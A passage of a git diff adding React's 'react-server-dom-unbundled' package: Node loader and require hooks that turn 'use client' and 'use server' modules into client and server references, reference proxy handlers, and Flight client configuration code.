+          addExportNames(names, node.exported);
+          continue;
+        } else {
+          const {url} = await resolveClientImport(node.source.value, parentURL);
+          const {source} = await loader(
+            url,
+            {format: 'module', conditions: [], importAssertions: {}},
+            loader,
+          );
+          if (typeof source !== 'string') {
+            throw new Error('Expected the transformed source to be a string.');
+          }
+          let childBody;
+          try {
+            childBody = acorn.parse(source, {
+              ecmaVersion: '2024',
+              sourceType: 'module',
+            }).body;
+          } catch (x) {
+            // eslint-disable-next-line react-internal/no-production-logging
+            console.error('Error parsing %s %s', url, x.message);
+            continue;
+          }
+          await parseExportNamesInto(childBody, names, url, loader);
+          continue;
+        }
+      case 'ExportDefaultDeclaration':
+        names.push('default');
+        continue;
+      case 'ExportNamedDeclaration':
+        if (node.declaration) {
+          if (node.declaration.type === 'VariableDeclaration') {
+            const declarations = node.declaration.declarations;
+            for (let j = 0; j < declarations.length; j++) {
+              addExportNames(names, declarations[j].id);
+            }
+          } else {
+            addExportNames(names, node.declaration.id);
+          }
+        }
+        if (node.specifiers) {
+          const specifiers = node.specifiers;
+          for (let j = 0; j < specifiers.length; j++) {
+            addExportNames(names, specifiers[j].exported);
+          }
+        }
+        continue;
+    }
+  }
+}
+
+async function transformClientModule(
+  program: any,
+  url: string,
+  sourceMap: any,
+  loader: LoadFunction,
+): Promise<string> {
+  const body = program.body;
+
+  const names: Array<string> = [];
+
+  await parseExportNamesInto(body, names, url, loader);
+
+  if (names.length === 0) {
+    return '';
+  }
+
+  let newSrc =
+    'import {registerClientReference} from "react-server-dom-webpack/server";\n';
+  for (let i = 0; i < names.length; i++) {
+    const name = names[i];
+    if (name === 'default') {
+      newSrc += 'export default ';
+      newSrc += 'registerClientReference(function() {';
+      newSrc +=
+        'throw new Error(' +
+        JSON.stringify(
+          `Attempted to call the default export of ${url} from the server ` +
+            `but it's on the client. It's not possible to invoke a client function from ` +
+            `the server, it can only be rendered as a Component or passed to props of a ` +
+            `Client Component.`,
+        ) +
+        ');';
+    } else {
+      newSrc += 'export const ' + name + ' = ';
+      newSrc += 'registerClientReference(function() {';
+      newSrc +=
+        'throw new Error(' +
+        JSON.stringify(
+          `Attempted to call ${name}() from the server but ${name} is on the client. ` +
+            `It's not possible to invoke a client function from the server, it can ` +
+            `only be rendered as a Component or passed to props of a Client Component.`,
+        ) +
+        ');';
+    }
+    newSrc += '},';
+    newSrc += JSON.stringify(url) + ',';
+    newSrc += JSON.stringify(name) + ');\n';
+  }
+
+  // TODO: Generate source maps for Client Reference functions so they can point to their
+  // original locations.
+  return newSrc;
+}
+
+async function loadClientImport(
+  url: string,
+  defaultTransformSource: TransformSourceFunction,
+): Promise<{format: string, shortCircuit?: boolean, source: Source}> {
+  if (stashedGetSource === null) {
+    throw new Error(
+      'Expected getSource to have been called before transformSource',
+    );
+  }
+  // TODO: Validate that this is another module by calling getFormat.
+  const {source} = await stashedGetSource(
+    url,
+    {format: 'module'},
+    stashedGetSource,
+  );
+  const result = await defaultTransformSource(
+    source,
+    {format: 'module', url},
+    defaultTransformSource,
+  );
+  return {format: 'module', source: result.source};
+}
+
+async function transformModuleIfNeeded(
+  source: string,
+  url: string,
+  loader: LoadFunction,
+): Promise<string> {
+  // Do a quick check for the exact string. If it doesn't exist, don't
+  // bother parsing.
+  if (
+    source.indexOf('use client') === -1 &&
+    source.indexOf('use server') === -1
+  ) {
+    return source;
+  }
+
+  let sourceMappingURL = null;
+  let sourceMappingStart = 0;
+  let sourceMappingEnd = 0;
+  let sourceMappingLines = 0;
+
+  let program;
+  try {
+    program = acorn.parse(source, {
+      ecmaVersion: '2024',
+      sourceType: 'module',
+      locations: true,
+      onComment(
+        block: boolean,
+        text: string,
+        start: number,
+        end: number,
+        startLoc: {line: number, column: number},
+        endLoc: {line: number, column: number},
+      ) {
+        if (
+          text.startsWith('# sourceMappingURL=') ||
+          text.startsWith('@ sourceMappingURL=')
+        ) {
+          sourceMappingURL = text.slice(19);
+          sourceMappingStart = start;
+          sourceMappingEnd = end;
+          sourceMappingLines = endLoc.line - startLoc.line;
+        }
+      },
+    });
+  } catch (x) {
+    // eslint-disable-next-line react-internal/no-production-logging
+    console.error('Error parsing %s %s', url, x.message);
+    return source;
+  }
+
+  let useClient = false;
+  let useServer = false;
+
+  const body = program.body;
+  for (let i = 0; i < body.length; i++) {
+    const node = body[i];
+    if (node.type !== 'ExpressionStatement' || !node.directive) {
+      break;
+    }
+    if (node.directive === 'use client') {
+      useClient = true;
+    }
+    if (node.directive === 'use server') {
+      useServer = true;
+    }
+  }
+
+  if (!useClient && !useServer) {
+    return source;
+  }
+
+  if (useClient && useServer) {
+    throw new Error(
+      'Cannot have both "use client" and "use server" directives in the same file.',
+    );
+  }
+
+  let sourceMap = null;
+  if (sourceMappingURL) {
+    const sourceMapResult = await loader(
+      sourceMappingURL,
+      // $FlowFixMe
+      {
+        format: 'json',
+        conditions: [],
+        importAssertions: {type: 'json'},
+        importAttributes: {type: 'json'},
+      },
+      loader,
+    );
+    const sourceMapString =
+      typeof sourceMapResult.source === 'string'
+        ? sourceMapResult.source
+        : // $FlowFixMe
+          sourceMapResult.source.toString('utf8');
+    sourceMap = JSON.parse(sourceMapString);
+
+    // Strip the source mapping comment. We'll re-add it below if needed.
+    source =
+      source.slice(0, sourceMappingStart) +
+      '\n'.repeat(sourceMappingLines) +
+      source.slice(sourceMappingEnd);
+  }
+
+  if (useClient) {
+    return transformClientModule(program, url, sourceMap, loader);
+  }
+
+  return transformServerModule(source, program, url, sourceMap, loader);
+}
+
+export async function transformSource(
+  source: Source,
+  context: TransformSourceContext,
+  defaultTransformSource: TransformSourceFunction,
+): Promise<{source: Source}> {
+  const transformed = await defaultTransformSource(
+    source,
+    context,
+    defaultTransformSource,
+  );
+  if (context.format === 'module') {
+    const transformedSource = transformed.source;
+    if (typeof transformedSource !== 'string') {
+      throw new Error('Expected source to have been transformed to a string.');
+    }
+    const newSrc = await transformModuleIfNeeded(
+      transformedSource,
+      context.url,
+      (url: string, ctx: LoadContext, defaultLoad: LoadFunction) => {
+        return loadClientImport(url, defaultTransformSource);
+      },
+    );
+    return {source: newSrc};
+  }
+  return transformed;
+}
+
+export async function load(
+  url: string,
+  context: LoadContext,
+  defaultLoad: LoadFunction,
+): Promise<{format: string, shortCircuit?: boolean, source: Source}> {
+  const result = await defaultLoad(url, context, defaultLoad);
+  if (result.format === 'module') {
+    if (typeof result.source !== 'string') {
+      throw new Error('Expected source to have been loaded into a string.');
+    }
+    const newSrc = await transformModuleIfNeeded(
+      result.source,
+      url,
+      defaultLoad,
+    );
+    return {format: 'module', source: newSrc};
+  }
+  return result;
+}
diff --git a/packages/react-server-dom-unbundled/src/ReactFlightUnbundledNodeRegister.js b/packages/react-server-dom-unbundled/src/ReactFlightUnbundledNodeRegister.js
new file mode 100644
index 000000000000..5b4cd9de2528
--- /dev/null
+++ b/packages/react-server-dom-unbundled/src/ReactFlightUnbundledNodeRegister.js
@@ -0,0 +1,109 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+const acorn = require('acorn-loose');
+
+const url = require('url');
+
+const Module = require('module');
+
+module.exports = function register() {
+  const Server: any = require('react-server-dom-unbundled/server');
+  const registerServerReference = Server.registerServerReference;
+  const createClientModuleProxy = Server.createClientModuleProxy;
+
+  // $FlowFixMe[prop-missing] found when upgrading Flow
+  const originalCompile = Module.prototype._compile;
+
+  // $FlowFixMe[prop-missing] found when upgrading Flow
+  Module.prototype._compile = function (
+    this: any,
+    content: string,
+    filename: string,
+  ): void {
+    // Do a quick check for the exact string. If it doesn't exist, don't
+    // bother parsing.
+    if (
+      content.indexOf('use client') === -1 &&
+      content.indexOf('use server') === -1
+    ) {
+      return originalCompile.apply(this, arguments);
+    }
+
+    let body;
+    try {
+      body = acorn.parse(content, {
+        ecmaVersion: '2024',
+        sourceType: 'source',
+      }).body;
+    } catch (x) {
+      console['error']('Error parsing %s %s', url, x.message);
+      return originalCompile.apply(this, arguments);
+    }
+
+    let useClient = false;
+    let useServer = false;
+    for (let i = 0; i < body.length; i++) {
+      const node = body[i];
+      if (node.type !== 'ExpressionStatement' || !node.directive) {
+        break;
+      }
+      if (node.directive === 'use client') {
+        useClient = true;
+      }
+      if (node.directive === 'use server') {
+        useServer = true;
+      }
+    }
+
+    if (!useClient && !useServer) {
+      return originalCompile.apply(this, arguments);
+    }
+
+    if (useClient && useServer) {
+      throw new Error(
+        'Cannot have both "use client" and "use server" directives in the same file.',
+      );
+    }
+
+    if (useClient) {
+      const moduleId: string = (url.pathToFileURL(filename).href: any);
+      this.exports = createClientModuleProxy(moduleId);
+    }
+
+    if (useServer) {
+      originalCompile.apply(this, arguments);
+
+      const moduleId: string = (url.pathToFileURL(filename).href: any);
+
+      const exports = this.exports;
+
+      // This module is imported server to server, but opts in to exposing functions by
+      // reference. If there are any functions in the export.
+      if (typeof exports === 'function') {
+        // The module exports a function directly,
+        registerServerReference(
+          (exports: any),
+          moduleId,
+          // Represents the whole Module object instead of a particular import.
+          null,
+        );
+      } else {
+        const keys = Object.keys(exports);
+        for (let i = 0; i < keys.length; i++) {
+          const key = keys[i];
+          const value = exports[keys[i]];
+          if (typeof value === 'function') {
+            registerServerReference((value: any), moduleId, key);
+          }
+        }
+      }
+    }
+  };
+};
diff --git a/packages/react-server-dom-unbundled/src/ReactFlightUnbundledReferences.js b/packages/react-server-dom-unbundled/src/ReactFlightUnbundledReferences.js
new file mode 100644
index 000000000000..b9f90b4d14b8
--- /dev/null
+++ b/packages/react-server-dom-unbundled/src/ReactFlightUnbundledReferences.js
@@ -0,0 +1,359 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
+
+export type ServerReference<T: Function> = T & {
+  $$typeof: symbol,
+  $$id: string,
+  $$bound: null | Array<ReactClientValue>,
+  $$location?: Error,
+};
+
+// eslint-disable-next-line no-unused-vars
+export type ClientReference<T> = {
+  $$typeof: symbol,
+  $$id: string,
+  $$async: boolean,
+};
+
+const CLIENT_REFERENCE_TAG = Symbol.for('react.client.reference');
+const SERVER_REFERENCE_TAG = Symbol.for('react.server.reference');
+
+export function isClientReference(reference: Object): boolean {
+  return reference.$$typeof === CLIENT_REFERENCE_TAG;
+}
+
+export function isServerReference(reference: Object): boolean {
+  return reference.$$typeof === SERVER_REFERENCE_TAG;
+}
+
+export function registerClientReference<T>(
+  proxyImplementation: any,
+  id: string,
+  exportName: string,
+): ClientReference<T> {
+  return registerClientReferenceImpl(
+    proxyImplementation,
+    id + '#' + exportName,
+    false,
+  );
+}
+
+function registerClientReferenceImpl<T>(
+  proxyImplementation: any,
+  id: string,
+  async: boolean,
+): ClientReference<T> {
+  return Object.defineProperties(proxyImplementation, {
+    $$typeof: {value: CLIENT_REFERENCE_TAG},
+    $$id: {value: id},
+    $$async: {value: async},
+  });
+}
+
+// $FlowFixMe[method-unbinding]
+const FunctionBind = Function.prototype.bind;
+// $FlowFixMe[method-unbinding]
+const ArraySlice = Array.prototype.slice;
+function bind(this: ServerReference<any>): any {
+  // $FlowFixMe[incompatible-call]
+  const newFn = FunctionBind.apply(this, arguments);
+  if (this.$$typeof === SERVER_REFERENCE_TAG) {
+    if (__DEV__) {
+      const thisBind = arguments[0];
+      if (thisBind != null) {
+        console.error(
+          'Cannot bind "this" of a Server Action. Pass null or undefined as the first argument to .bind().',
+        );
+      }
+    }
+    const args = ArraySlice.call(arguments, 1);
+    const $$typeof = {value: SERVER_REFERENCE_TAG};
+    const $$id = {value: this.$$id};
+    const $$bound = {value: this.$$bound ? this.$$bound.concat(args) : args};
+    return Object.defineProperties(
+      (newFn: any),
+      (__DEV__
+        ? {
+            $$typeof,
+            $$id,
+            $$bound,
+            $$location: {
+              value: this.$$location,
+              configurable: true,
+            },
+            bind: {value: bind, configurable: true},
+          }
+        : {
+            $$typeof,
+            $$id,
+            $$bound,
+            bind: {value: bind, configurable: true},
+          }) as PropertyDescriptorMap,
+    );
+  }
+  return newFn;
+}
+
+const serverReferenceToString = {
+  value: () => 'function () { [omitted code] }',
+  configurable: true,
+  writable: true,
+};
+
+export function registerServerReference<T: Function>(
+  reference: T,
+  id: string,
+  exportName: null | string,
+): ServerReference<T> {
+  const $$typeof = {value: SERVER_REFERENCE_TAG};
+  const $$id = {
+    value: exportName === null ? id : id + '#' + exportName,
+    configurable: true,
+  };
+  const $$bound = {value: null, configurable: true};
+  return Object.defineProperties(
+    (reference: any),
+    __DEV__
+      ? ({
+          $$typeof,
+          $$id,
+          $$bound,
+          $$location: {
+            value: Error('react-stack-top-frame'),
+            configurable: true,
+          },
+          bind: {value: bind, configurable: true},
+          toString: serverReferenceToString,
+        } as PropertyDescriptorMap)
+      : ({
+          $$typeof,
+          $$id,
+          $$bound,
+          bind: {value: bind, configurable: true},
+          toString: serverReferenceToString,
+        } as PropertyDescriptorMap),
+  );
+}
+
+const PROMISE_PROTOTYPE = Promise.prototype;
+
+const deepProxyHandlers: Proxy$traps<mixed> = {
+  get: function (
+    target: Function,
+    name: string | symbol,
+    receiver: Proxy<Function>,
+  ) {
+    switch (name) {
+      // These names are read by the Flight runtime if you end up using the exports object.
+      case '$$typeof':
+        // These names are a little too common. We should probably have a way to
+        // have the Flight runtime extract the inner target instead.
+        return target.$$typeof;
+      case '$$id':
+        return target.$$id;
+      case '$$async':
+        return target.$$async;
+      case 'name':
+        return target.name;
+      case 'displayName':
+        return undefined;
+      // We need to special case this because createElement reads it if we pass this
+      // reference.
+      case 'defaultProps':
+        return undefined;
+      // React looks for debugInfo on thenables.
+      case '_debugInfo':
+        return undefined;
+      // Avoid this attempting to be serialized.
+      case 'toJSON':
+        return undefined;
+      case Symbol.toPrimitive:
+        // $FlowFixMe[prop-missing]
+        return Object.prototype[Symbol.toPrimitive];
+      case Symbol.toStringTag:
+        // $FlowFixMe[prop-missing]
+        return Object.prototype[Symbol.toStringTag];
+      case 'Provider':
+        // Context.Provider === Context in React, so return the same reference.
+        // This allows server components to render <ClientContext.Provider>
+        // which will be serialized and executed on the client.
+        return receiver;
+      case 'then':
+        throw new Error(
+          `Cannot await or return from a thenable. ` +
+            `You cannot await a client module from a server component.`,
+        );
+    }
+    // eslint-disable-next-line react-internal/safe-string-coercion
+    const expression = String(target.name) + '.' + String(name);
+    throw new Error(
+      `Cannot access ${expression} on the server. ` +
+        'You cannot dot into a client module from a server component. ' +
+        'You can only pass the imported name through.',
+    );
+  },
+  set: function () {
+    throw new Error('Cannot assign to a client module from a server module.');
+  },
+};
+
+function getReference(target: Function, name: string | symbol): $FlowFixMe {
+  switch (name) {
+    // These names are read by the Flight runtime if you end up using the exports object.
+    case '$$typeof':
+      return target.$$typeof;
+    case '$$id':
+      return target.$$id;
+    case '$$async':
+      return target.$$async;
+    case 'name':
+      return target.name;
+    // We need to special case this because createElement reads it if we pass this
+    // reference.
+    case 'defaultProps':
+      return undefined;
+    // React looks for debugInfo on thenables.
+    case '_debugInfo':
+      return undefined;
+    // Avoid this attempting to be serialized.
+    case 'toJSON':
+      return undefined;
+    case Symbol.toPrimitive:
+      // $FlowFixMe[prop-missing]
+      return Object.prototype[Symbol.toPrimitive];
+    case Symbol.toStringTag:
+      // $FlowFixMe[prop-missing]
+      return Object.prototype[Symbol.toStringTag];
+    case '__esModule':
+      // Something is conditionally checking which export to use. We'll pretend to be
+      // an ESM compat module but then we'll check again on the client.
+      const moduleId = target.$$id;
+      target.default = registerClientReferenceImpl(
+        (function () {
+          throw new Error(
+            `Attempted to call the default export of ${moduleId} from the server ` +
+              `but it's on the client. It's not possible to invoke a client function from ` +
+              `the server, it can only be rendered as a Component or passed to props of a ` +
+              `Client Component.`,
+          );
+        }: any),
+        target.$$id + '#',
+        target.$$async,
+      );
+      return true;
+    case 'then':
+      if (target.then) {
+        // Use a cached value
+        return target.then;
+      }
+      if (!target.$$async) {
+        // If this module is expected to return a Promise (such as an AsyncModule) then
+        // we should resolve that with a client reference that unwraps the Promise on
+        // the client.
+
+        const clientReference: ClientReference<any> =
+          registerClientReferenceImpl(({}: any), target.$$id, true);
+        const proxy = new Proxy(clientReference, proxyHandlers);
+
+        // Treat this as a resolved Promise for React's use()
+        target.status = 'fulfilled';
+        target.value = proxy;
+
+        const then = (target.then = registerClientReferenceImpl(
+          (function then(resolve, reject: any) {
+            // Expose to React.
+            return Promise.resolve(resolve(proxy));
+          }: any),
+          // If this is not used as a Promise but is treated as a reference to a `.then`
+          // export then we should treat it as a reference to that name.
+          target.$$id + '#then',
+          false,
+        ));
+        return then;
+      } else {
+        // Since typeof .then === 'function' is a feature test we'd continue recursing
+        // indefinitely if we return a function. Instead, we return an object reference
+        // if we check further.
+        return undefined;
+      }
+  }
+  if (typeof name === 'symbol') {
+    throw new Error(
+      'Cannot read Symbol exports. Only named exports are supported on a client module ' +
+        'imported on the server.',
+    );
+  }
+  let cachedReference = target[name];
+  if (!cachedReference) {
+    const reference: ClientReference<any> = registerClientReferenceImpl(
+      (function () {
+        throw new Error(
+          // eslint-disable-next-line react-internal/safe-string-coercion
+          `Attempted to call ${String(name)}() from the server but ${String(
+            name,
+          )} is on the client. ` +
+            `It's not possible to invoke a client function from the server, it can ` +
+            `only be rendered as a Component or passed to props of a Client Component.`,
+        );
+      }: any),
+      target.$$id + '#' + name,
+      target.$$async,
+    );
+    Object.defineProperty((reference: any), 'name', {value: name});
+    cachedReference = target[name] = new Proxy(reference, deepProxyHandlers);
+  }
+  return cachedReference;
+}
+
+const proxyHandlers = {
+  get: function (
+    target: Function,
+    name: string | symbol,
+    receiver: Proxy<Function>,
+  ): $FlowFixMe {
+    return getReference(target, name);
+  },
+  getOwnPropertyDescriptor: function (
+    target: Function,
+    name: string | symbol,
+  ): $FlowFixMe {
+    let descriptor = Object.getOwnPropertyDescriptor(target, name);
+    if (!descriptor) {
+      descriptor = {
+        value: getReference(target, name),
+        writable: false,
+        configurable: false,
+        enumerable: false,
+      };
+      Object.defineProperty(target, name, descriptor);
+    }
+    return descriptor;
+  },
+  getPrototypeOf(target: Function): Object {
+    // Pretend to be a Promise in case anyone asks.
+    return PROMISE_PROTOTYPE;
+  },
+  set: function (): empty {
+    throw new Error('Cannot assign to a client module from a server module.');
+  },
+};
+
+export function createClientModuleProxy<T>(
+  moduleId: string,
+): ClientReference<T> {
+  const clientReference: ClientReference<T> = registerClientReferenceImpl(
+    ({}: any),
+    // Represents the whole Module object instead of a particular import.
+    moduleId,
+    false,
+  );
+  return new Proxy(clientReference, proxyHandlers);
+}
diff --git a/packages/react-server-dom-unbundled/src/client/ReactFlightClientConfigBundlerNode.js b/packages/react-server-dom-unbundled/src/client/ReactFlightClientConfigBundlerNode.js
new file mode 100644
index 000000000000..63049b2ca408
--- /dev/null
+++ b/packages/react-server-dom-unbundled/src/client/ReactFlightClientConfigBundlerNode.js
@@ -0,0 +1,173 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Thenable,
+  FulfilledThenable,
+  RejectedThenable,
+} from 'shared/ReactTypes';
+
+import type {ImportMetadata} from '../shared/ReactFlightImportMetadata';
+import type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';
+
+import {
+  ID,
+  CHUNKS,
+  NAME,
+  isAsyncImport,
+} from '../shared/ReactFlightImportMetadata';
+import {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';
+
+import hasOwnProperty from 'shared/hasOwnProperty';
+
+export type ServerConsumerModuleMap = {
+  [clientId: string]: {
+    [clientExportName: string]: ClientReference<any>,
+  },
+};
+
+export type ServerManifest = void;
+
+export type ServerReferenceId = string;
+
+export opaque type ClientReferenceMetadata = ImportMetadata;
+
+// eslint-disable-next-line no-unused-vars
+export opaque type ClientReference<T> = {
+  specifier: string,
+  name: string,
+  async?: boolean,
+};
+
+// The reason this function needs to defined here in this file instead of just
+// being exported directly from the WebpackDestination... file is because the
+// ClientReferenceMetadata is opaque and we can't unwrap it there.
+// This should get inlined and we could also just implement an unwrapping function
+// though that risks it getting used in places it shouldn't be. This is unfortunate
+// but currently it seems to be the best option we have.
+export function prepareDestinationForModule(
+  moduleLoading: ModuleLoading,
+  nonce: ?string,
+  metadata: ClientReferenceMetadata,
+) {
+  prepareDestinationWithChunks(moduleLoading, metadata[CHUNKS], nonce);
+}
+
+export function resolveClientReference<T>(
+  bundlerConfig: ServerConsumerModuleMap,
+  metadata: ClientReferenceMetadata,
+): ClientReference<T> {
+  const moduleExports = bundlerConfig[metadata[ID]];
+  let resolvedModuleData = moduleExports && moduleExports[metadata[NAME]];
+  let name;
+  if (resolvedModuleData) {
+    // The potentially aliased name.
+    name = resolvedModuleData.name;
+  } else {
+    // If we don't have this specific name, we might have the full module.
+    resolvedModuleData = moduleExports && moduleExports['*'];
+    if (!resolvedModuleData) {
+      throw new Error(
+        'Could not find the module "' +
+          metadata[ID] +
+          '" in the React Server Consumer Manifest. ' +
+          'This is probably a bug in the React Server Components bundler.',
+      );
+    }
+    name = metadata[NAME];
+  }
+  return {
+    specifier: resolvedModuleData.specifier,
+    name: name,
+    async: isAsyncImport(metadata),
+  };
+}
+
+export function resolveServerReference<T>(
+  bundlerConfig: ServerManifest,
+  id: ServerReferenceId,
+): ClientReference<T> {
+  const idx = id.lastIndexOf('#');
+  const specifier = id.slice(0, idx);
+  const name = id.slice(idx + 1);
+  return {specifier, name};
+}
+
+const asyncModuleCache: Map<string, Thenable<any>> = new Map();
+
+export function preloadModule<T>(
+  metadata: ClientReference<T>,
+): null | Thenable<any> {
+  const existingPromise = asyncModuleCache.get(metadata.specifier);
+  if (existingPromise) {
+    if (existingPromise.status === 'fulfilled') {
+      return null;
+    }
+    return existingPromise;
+  } else {
+    // $FlowFixMe[unsupported-syntax]
+    let modulePromise: Promise<T> = import(metadata.specifier);
+    if (metadata.async) {
+      // If the module is async, it must have been a CJS module.
+      // CJS modules are accessed through the default export in
+      // Node.js so we have to get the default export to get the
+      // full module exports.
+      modulePromise = modulePromise.then(function (value) {
+        return (value: any).default;
+      });
+    }
+    modulePromise.then(
+      value => {
+        const fulfilledThenable: FulfilledThenable<mixed> =
+          (modulePromise: any);
+        fulfilledThenable.status = 'fulfilled';
+        fulfilledThenable.value = value;
+      },
+      reason => {
+        const rejectedThenable: RejectedThenable<mixed> = (modulePromise: any);
+        rejectedThenable.status = 'rejected';
+        rejectedThenable.reason = reason;
+      },
+    );
+    asyncModuleCache.set(metadata.specifier, modulePromise);
+    return modulePromise;
+  }
+}
+
+export function requireModule<T>(metadata: ClientReference<T>): T {
+  let moduleExports;
+  // We assume that preloadModule has been called before, which
+  // should have added something to the module cache.
+  const promise: any = asyncModuleCache.get(metadata.specifier);
+  if (promise.status === 'fulfilled') {
+    moduleExports = promise.value;
+  } else {
+    throw promise.reason;
+  }
+  if (metadata.name === '*') {
+    // This is a placeholder value that represents that the caller imported this
+    // as a CommonJS module as is.
+    return moduleExports;
+  }
+  if (metadata.name === '') {
+    // This is a placeholder value that represents that the caller accessed the
+    // default property of this if it was an ESM interop module.
+    return moduleExports.default;
+  }
+  if (hasOwnProperty.call(moduleExports, metadata.name)) {
+    return moduleExports[metadata.name];
+  }
+  return (undefined: any);
+}
+
+export function getModuleDebugInfo<T>(metadata: ClientReference<T>): null {
+  // We don't emit any debug info on the server since we assume the loading
+  // of the bundle is insignificant on the server.
+  return null;
+}
diff --git a/packages/react-server-dom-webpack/src/ReactFlightClientConfigTargetWebpackServer.js b/packages/react-server-dom-unbundled/src/client/ReactFlightClientConfigTargetNodeServer.js
similarity index 100%
rename from packages/react-server-dom-webpack/src/ReactFlightClientConfigTargetWebpackServer.js
rename to packages/react-server-dom-unbundled/src/client/ReactFlightClientConfigTargetNodeServer.js
diff --git a/packages/react-server-dom-unbundled/src/client/ReactFlightDOMClientEdge.js b/packages/react-server-dom-unbundled/src/client/ReactFlightDOMClientEdge.js
new file mode 100644
index 000000000000..8bcdcdbfe0d2
--- /dev/null
+++ b/packages/react-server-dom-unbundled/src/client/ReactFlightDOMClientEdge.js
@@ -0,0 +1,259 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
+
+import type {
+  DebugChannel,
+  FindSourceMapURLCallback,
+  Response as FlightResponse,
+} from 'react-client/src/ReactFlightClient';
+
+import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
+
+import type {
+  ServerConsumerModuleMap,
+  ModuleLoading,
+  ServerManifest,
+} from 'react-client/src/ReactFlightClientConfig';
+
+type ServerConsumerManifest = {
+  moduleMap: ServerConsumerModuleMap,
+  moduleLoading: ModuleLoading,
+  serverModuleMap: null | ServerManifest,
+};
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processBinaryChunk,
+  close,
+} from 'react-client/src/ReactFlightClient';
+
+import {
+  processReply,
+  createServerReference as createServerReferenceImpl,
+} from 'react-client/src/ReactFlightReplyClient';
+
+export {registerServerReference} from 'react-client/src/ReactFlightReplyClient';
+
+import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+function noServerCall() {
+  throw new Error(
+    'Server Functions cannot be called during initial render. ' +
+      'This would create a fetch waterfall. Try to use a Server Component ' +
+      'to pass data to Client Components instead.',
+  );
+}
+
+export function createServerReference<A: Iterable<any>, T>(
+  id: any,
+  callServer: any,
+): (...A) => Promise<T> {
+  return createServerReferenceImpl(id, noServerCall);
+}
+
+type EncodeFormActionCallback = <A>(
+  id: any,
+  args: Promise<A>,
+) => ReactCustomFormAction;
+
+export type Options = {
+  serverConsumerManifest: ServerConsumerManifest,
+  nonce?: string,
+  encodeFormAction?: EncodeFormActionCallback,
+  temporaryReferences?: TemporaryReferenceSet,
+  unstable_allowPartialStream?: boolean,
+  findSourceMapURL?: FindSourceMapURLCallback,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+  // For the Edge client we only support a single-direction debug channel.
+  debugChannel?: {readable?: ReadableStream, ...},
+};
+
+function createResponseFromOptions(options: Options) {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {
+          hasReadable: options.debugChannel.readable !== undefined,
+          callback: null,
+        }
+      : undefined;
+
+  return createResponse(
+    options.serverConsumerManifest.moduleMap,
+    options.serverConsumerManifest.serverModuleMap,
+    options.serverConsumerManifest.moduleLoading,
+    noServerCall,
+    options.encodeFormAction,
+    typeof options.nonce === 'string' ? options.nonce : undefined,
+    options && options.temporaryReferences
+      ? options.temporaryReferences
+      : undefined,
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ && options && options.findSourceMapURL
+      ? options.findSourceMapURL
+      : undefined,
+    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+}
+
+function startReadingFromStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+  debugValue: mixed,
+): void {
+  const streamState = createStreamState(response, debugValue);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    const buffer: Uint8Array = (value: any);
+    processBinaryChunk(response, streamState, buffer);
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function createFromReadableStream<T>(
+  stream: ReadableStream,
+  options: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+
+  if (
+    __DEV__ &&
+    options &&
+    options.debugChannel &&
+    options.debugChannel.readable
+  ) {
+    let streamDoneCount = 0;
+    const handleDone = () => {
+      if (++streamDoneCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromStream(response, options.debugChannel.readable, handleDone);
+    startReadingFromStream(response, stream, handleDone, stream);
+  } else {
+    startReadingFromStream(
+      response,
+      stream,
+      close.bind(null, response),
+      stream,
+    );
+  }
+
+  return getRoot(response);
+}
+
+function createFromFetch<T>(
+  promiseForResponse: Promise<Response>,
+  options: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  promiseForResponse.then(
+    function (r) {
+      if (
+        __DEV__ &&
+        options &&
+        options.debugChannel &&
+        options.debugChannel.readable
+      ) {
+        let streamDoneCount = 0;
+        const handleDone = () => {
+          if (++streamDoneCount === 2) {
+            close(response);
+          }
+        };
+        startReadingFromStream(
+          response,
+          options.debugChannel.readable,
+          handleDone,
+        );
+        startReadingFromStream(response, (r.body: any), handleDone, r);
+      } else {
+        startReadingFromStream(
+          response,
+          (r.body: any),
+          close.bind(null, response),
+          r,
+        );
+      }
+    },
+    function (e) {
+      reportGlobalError(response, e);
+    },
+  );
+  return getRoot(response);
+}
+
+function encodeReply(
+  value: ReactServerValue,
